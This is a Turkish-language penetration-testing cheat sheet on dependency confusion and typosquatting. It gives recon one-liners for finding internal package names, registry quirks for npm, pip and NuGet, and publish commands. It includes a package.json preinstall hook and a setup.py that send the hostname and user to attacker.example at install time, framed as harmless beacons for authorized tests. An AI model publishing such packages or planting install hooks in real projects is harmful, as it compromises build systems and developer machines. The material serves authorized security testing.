Dependency Confusion & Paket Suistimatı
supply chain difficulty: orta
Dependency Confusion, bir kuruluşun iç (private) paket adlarını public paket deposunda (npm, PyPI, RubyGems, NuGet…) daha yüksek sürümle yayınlayarak, build sisteminin yanlışlıkla saldırgan paketini çekmesini sağlamaktır. Kurulum script’leri ile CI veya geliştirici makinesinde kod çalışır.
Alex Birsan’ın orijinal araştırması, birden fazla büyük şirketin bug bounty kapsamında bu yöntemi doğruladığını göstermiştir.
□ Sızmış / public package.json, package-lock, yarn.lock, pnpm-lock□ requirements.txt, Pipfile, poetry.lock, go.mod, Cargo.toml□ .npmrc (registry=...), .pypirc, NuGet.config, bundler mirror□ Dahili isim kalıpları: @acme-internal/..., acme-utils-private□ JS bundle / sourcemap içinde require("acme-...")□ CI log, Docker image katmanları, açık Artifactory / Nexus□ GitHub org package adları, internal npm scope sızıntısıjq -r '.dependencies,.devDependencies|keys[]?' package.json 2>/dev/null | while read p; donpm view "$p" version 2>/dev/null || echo "MISSING PUBLIC: $p"donecut -d= -f1 requirements.txt | while read p; docurl -sI "https://pypi.org/pypi/$p/json" | head -1donegrep -E 'registry|npm.pkg|pkgs.dev' package-lock.json .npmrc 2>/dev/nullPublic’te yok ama iç kaynakta var → confusion adayı.
Saldırı akışı
Section titled “Saldırı akışı”-
İç paket adını doğrula — organizasyon ad alanı veya düz isim; public registry’de 404. Scope kurallarını not et ( @acme/* ).
-
Public’te yayınla — aynı ad, daha yüksek semver (iç 1.0.3 → 99.0.0). Yetkili pentestte yalnızca scope onayı ve zararsız paket.
-
Install hook ile beacon :
{"name": "acme-internal-logger","version": "99.0.0","scripts": {"preinstall": "curl -s \"https://attacker.example/p?h=$(hostname)&u=$(whoami)\""}}# setup.py — kontrollü beaconimport os, urllib.requesturllib.request.urlopen("https://attacker.example/p?h=" + os.uname().nodename) -
Callback bekle — CI hostname, kullanıcı, ortam ipuçları. Secret’ları kasıtlı çekme; kanıt için hostname yeterli.
-
Temizle — unpublish / güvenlik ekibine bildir; paket adı ve sürüm kaydı.
Registry davranışları
Section titled “Registry davranışları”npm — @scope → .npmrc'te registry map yoksa public'e düşebilir — publishConfig / always-auth yanlışlığıpip --extra-index-url → yüksek sürüm public'ten gelebilir (index vs extra-index) --index-url tek private ile risk azalır (yine typosquat ayrı)NuGet / RubyGems / Maven — çoklu source önceliği; ilk bulunan ≠ en güvenliGo — module path GitHub; repojacking / vanished orgnpm loginnpm publish --access publicpython -m build && twine upload dist/*İlgili varyantlar
Section titled “İlgili varyantlar”□ Typosquatting: lodash → loadsh, requests → reqests, colours → colors varyant□ Namespace / manifest confusion (npm org ownership)□ Repojacking: silinen GitHub user/org → go/git deps□ Compromised maintainer / account takeover□ Malicious transitive dependency (derin ağaç)□ Fake security advisory ile maintainer social engineeringTyposquat hızlı tarama
Section titled “Typosquat hızlı tarama”pip index versions requests 2>/dev/nullnpm search acme-util --json 2>/dev/null | headTest sınırları
Section titled “Test sınırları”□ Yazılı scope: hangi registry'ye publish, hangi beacon URL□ Production build'i bozma — staging CI veya sandbox tercih□ Paketi test bitince unpublish□ Kanıt: DNS/HTTP callback + paket adı/sürüm; reverse shell yok□ Legal: bazı bounty programları publish'i yasaklar — önce policy okuSaldırı zinciri
Section titled “Saldırı zinciri”GitHub/dork sızıntı package.json → iç paket adı → npm/pypi 404 doğrula → yüksek sürüm + preinstall beacon publish → CI callback → RCE kanıtı (hostname)